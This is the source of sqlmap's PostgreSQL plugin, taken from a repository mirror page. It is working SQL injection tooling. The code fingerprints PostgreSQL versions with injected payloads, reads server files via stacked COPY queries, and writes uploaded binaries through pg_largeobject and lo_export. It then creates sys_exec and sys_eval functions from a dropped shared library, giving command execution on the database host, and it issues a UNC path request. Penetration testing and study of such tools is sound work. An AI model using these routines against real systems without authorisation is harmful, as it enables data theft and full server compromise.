mirror of
https://github.com/sqlmapproject/sqlmap.git
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16b4530bbe
Minor common library code refactoring. Code cleanup. Set back the default User-Agent to sqlmap for comparison algorithm reasons. Updated THANKS.
504 lines
18 KiB
Python
504 lines
18 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import os
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import getRange
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.exception import sqlmapUnsupportedFeatureException
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from lib.core.session import setDbms
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from lib.core.settings import PGSQL_ALIASES
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from lib.core.settings import PGSQL_SYSTEM_DBS
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from lib.core.unescaper import unescaper
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from plugins.generic.enumeration import Enumeration
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from plugins.generic.filesystem import Filesystem
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from plugins.generic.fingerprint import Fingerprint
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from plugins.generic.misc import Miscellaneous
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from plugins.generic.takeover import Takeover
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class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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"""
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This class defines PostgreSQL methods
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"""
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def __init__(self):
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self.excludeDbsList = PGSQL_SYSTEM_DBS
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Enumeration.__init__(self, "PostgreSQL")
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Filesystem.__init__(self)
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Takeover.__init__(self)
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unescaper.setUnescape(PostgreSQLMap.unescape)
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@staticmethod
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def unescape(expression, quote=True):
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if quote:
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while True:
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index = expression.find("'")
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if index == -1:
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break
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firstIndex = index + 1
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index = expression[firstIndex:].find("'")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
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lastIndex = firstIndex + index
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old = "'%s'" % expression[firstIndex:lastIndex]
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#unescaped = "("
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unescaped = ""
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for i in range(firstIndex, lastIndex):
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unescaped += "CHR(%d)" % (ord(expression[i]))
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if i < lastIndex - 1:
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unescaped += "||"
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#unescaped += ")"
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expression = expression.replace(old, unescaped)
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else:
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expression = "||".join("CHR(%d)" % ord(c) for c in expression)
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return expression
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@staticmethod
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def escape(expression):
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while True:
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index = expression.find("CHR(")
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if index == -1:
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break
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firstIndex = index
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index = expression[firstIndex:].find("))")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
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lastIndex = firstIndex + index + 1
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old = expression[firstIndex:lastIndex]
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oldUpper = old.upper()
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oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
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oldUpper = oldUpper.split("||")
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escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
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expression = expression.replace(old, escaped)
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return expression
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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if not conf.extensiveFp:
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value += "PostgreSQL"
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return value
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actVer = formatDBMSfp()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"]
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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"""
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Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
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"""
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if conf.dbms in PGSQL_ALIASES:
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setDbms("PostgreSQL")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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infoMsg = "testing PostgreSQL"
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logger.info(infoMsg)
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randInt = str(randomInt(1))
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payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
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result = Request.queryPage(payload)
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if result == True:
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infoMsg = "confirming PostgreSQL"
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logger.info(infoMsg)
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payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
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result = Request.queryPage(payload)
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if result != True:
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warnMsg = "the back-end DMBS is not PostgreSQL"
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logger.warn(warnMsg)
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return False
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setDbms("PostgreSQL")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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transTimeCasted = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False) in ( "1", "2" )
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transTime = inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False) in ( "1", "2" )
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if transTimeCasted and not transTime:
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kb.dbmsVersion = [">= 8.3.0"]
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elif transTime:
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kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"]
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elif inject.getValue("GREATEST(5, 9, 1)", unpack=False) == "9":
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kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
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elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False) == "3":
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kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
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elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False):
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kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
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elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p":
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kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
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elif inject.getValue("BIT_LENGTH(1)") == "8":
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kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
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elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a":
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kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
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elif inject.getValue("POW(2, 3)", unpack=False) == "8":
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kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
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elif inject.getValue("MAX('a')") == "a":
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kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
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elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)):
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kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
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elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False) == "2":
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kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
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elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s":
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kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
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else:
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kb.dbmsVersion = ["< 6.2.0"]
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return True
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else:
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warnMsg = "the back-end DMBS is not PostgreSQL"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system"
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logger.info(infoMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
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inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
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# Windows executables should always have ' Visual C++' or ' mingw'
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# patterns within the banner
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osWindows = ( " Visual C++", " mingw" )
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for osPattern in osWindows:
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query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
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query += "LIKE '%" + osPattern + "%')>0"
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query = agent.forgeCaseStatement(query)
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if inject.getValue(query, charsetType=1) == "1":
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kb.os = "Windows"
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break
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if kb.os == None:
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kb.os = "Linux"
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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if detailed == False:
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self.cleanup(onlyFileTbl=True)
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return
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self.cleanup(onlyFileTbl=True)
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def forceDbmsEnum(self):
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if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
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conf.db = "public"
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warnMsg = "on PostgreSQL it is only possible to enumerate "
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warnMsg += "on the current schema and on system databases, "
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warnMsg += "sqlmap is going to use 'public' schema as "
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warnMsg += "database name"
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logger.warn(warnMsg)
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def unionReadFile(self, rFile):
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errMsg = "PostgreSQL does not support file reading with UNION "
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errMsg += "query SQL injection technique"
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raise sqlmapUnsupportedFeatureException, errMsg
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def stackedReadFile(self, rFile):
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warnMsg = "binary file read on PostgreSQL is not yet supported, "
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warnMsg += "if the requested file is binary, its content will not "
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warnMsg += "be retrieved"
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logger.warn(warnMsg)
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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result = []
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self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
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logger.debug("loading the content of file '%s' into support table" % rFile)
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inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
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if kb.unionPosition:
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result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
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if not result:
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result = []
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count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=2)
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if not count.isdigit() or not len(count) or count == "0":
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errMsg = "unable to retrieve the content of the "
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errMsg += "file '%s'" % rFile
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raise sqlmapNoneDataException, errMsg
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indexRange = getRange(count)
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for index in indexRange:
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chunk = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s OFFSET %d LIMIT 1" % (self.tblField, self.fileTblName, index), unpack=False, resumeValue=False, sort=False)
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result.append(chunk)
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return result
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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errMsg = "PostgreSQL does not support file upload with UNION "
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errMsg += "query SQL injection technique"
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raise sqlmapUnsupportedFeatureException, errMsg
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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wFileSize = os.path.getsize(wFile)
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if wFileSize > 8192:
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errMsg = "on PostgreSQL it is not possible to write files "
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errMsg += "bigger than 8192 bytes at the moment"
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raise sqlmapUnsupportedFeatureException, errMsg
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self.oid = randomInt()
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debugMsg = "creating a support table to write the base64 "
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debugMsg += "encoded file to"
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logger.debug(debugMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "text")
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logger.debug("encoding file to its base64 string value")
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fcEncodedList = self.fileEncode(wFile, "base64", False)
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debugMsg = "forging SQL statements to write the base64 "
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debugMsg += "encoded file to the support table"
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logger.debug(debugMsg)
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sqlQueries = self.fileToSqlQueries(fcEncodedList)
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logger.debug("inserting the base64 encoded file to the support table")
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for sqlQuery in sqlQueries:
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inject.goStacked(sqlQuery)
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debugMsg = "create a new OID for a large object, it implicitly "
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debugMsg += "adds an entry in the large objects system table"
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logger.debug(debugMsg)
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# References:
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# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
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# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
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inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
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inject.goStacked("SELECT lo_create(%d)" % self.oid)
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debugMsg = "updating the system large objects table assigning to "
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debugMsg += "the just created OID the binary (base64 decoded) UDF "
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debugMsg += "as data"
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logger.debug(debugMsg)
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# Refereces:
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# * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html
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# * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
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#
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# NOTE: From PostgreSQL site:
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#
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# "The data stored in the large object will never be more than
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# LOBLKSIZE bytes and might be less which is BLCKSZ/4, or
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# typically 2 Kb"
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#
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# As a matter of facts it was possible to store correctly a file
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# large 13776 bytes, the problem arises at next step (lo_export())
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inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
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debugMsg = "exporting the OID %s file content to " % fileType
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debugMsg += "file '%s'" % dFile
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logger.debug(debugMsg)
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# NOTE: lo_export() exports up to only 8192 bytes of the file
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# (pg_largeobject 'data' field)
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inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
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if confirm == True:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
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def udfInit(self):
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self.getVersionFromBanner()
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banVer = kb.bannerFp["dbmsVersion"]
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dFile = None
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wFile = paths.SQLMAP_UDF_PATH
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lib = "libsqlmapudf%s" % randomStr(lowercase=True)
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if banVer >= "8.3":
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majorVer = "8.3"
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else:
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majorVer = "8.2"
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if kb.os == "Windows":
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wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
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libExt = "dll"
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else:
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wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
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libExt = "so"
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for udf in ( "sys_exec", "sys_eval" ):
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if udf in self.createdUdf:
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continue
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logger.info("checking if %s UDF already exist" % udf)
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query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
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exists = inject.getValue(query, resumeValue=False, unpack=False)
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if exists == "1":
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message = "%s UDF already exists, do you " % udf
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message += "want to overwrite it? [y/N] "
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output = readInput(message, default="N")
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if output and output in ("y", "Y"):
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self.udfToCreate.add(udf)
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else:
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self.udfToCreate.add(udf)
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if len(self.udfToCreate) > 0:
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# On Windows
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if kb.os == "Windows":
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# The DLL can be in any folder where postgres user has
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# read/write/execute access is valid
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# NOTE: by not specifing any path, it will save into the
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# data directory, on PostgreSQL 8.3 it is
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# C:\Program Files\PostgreSQL\8.3\data.
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dFile = "%s.%s" % (lib, libExt)
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# On Linux
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else:
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# The SO can be in any folder where postgres user has
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# read/write/execute access is valid
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dFile = "/tmp/%s.%s" % (lib, libExt)
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self.writeFile(wFile, dFile, "binary", False)
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for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
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if udf in self.createdUdf:
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continue
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if udf in self.udfToCreate:
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logger.info("creating %s UDF from the binary UDF file" % udf)
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# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
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inject.goStacked("DROP FUNCTION %s" % udf)
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inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
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else:
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logger.debug("keeping existing %s UDF as requested" % udf)
|
|
|
|
self.createdUdf.add(udf)
|
|
|
|
self.envInitialized = True
|
|
|
|
debugMsg = "creating a support table to write commands standard "
|
|
debugMsg += "output to"
|
|
logger.debug(debugMsg)
|
|
|
|
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
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|
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|
|
def uncPathRequest(self):
|
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
|
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
|
self.cleanup(onlyFileTbl=True)
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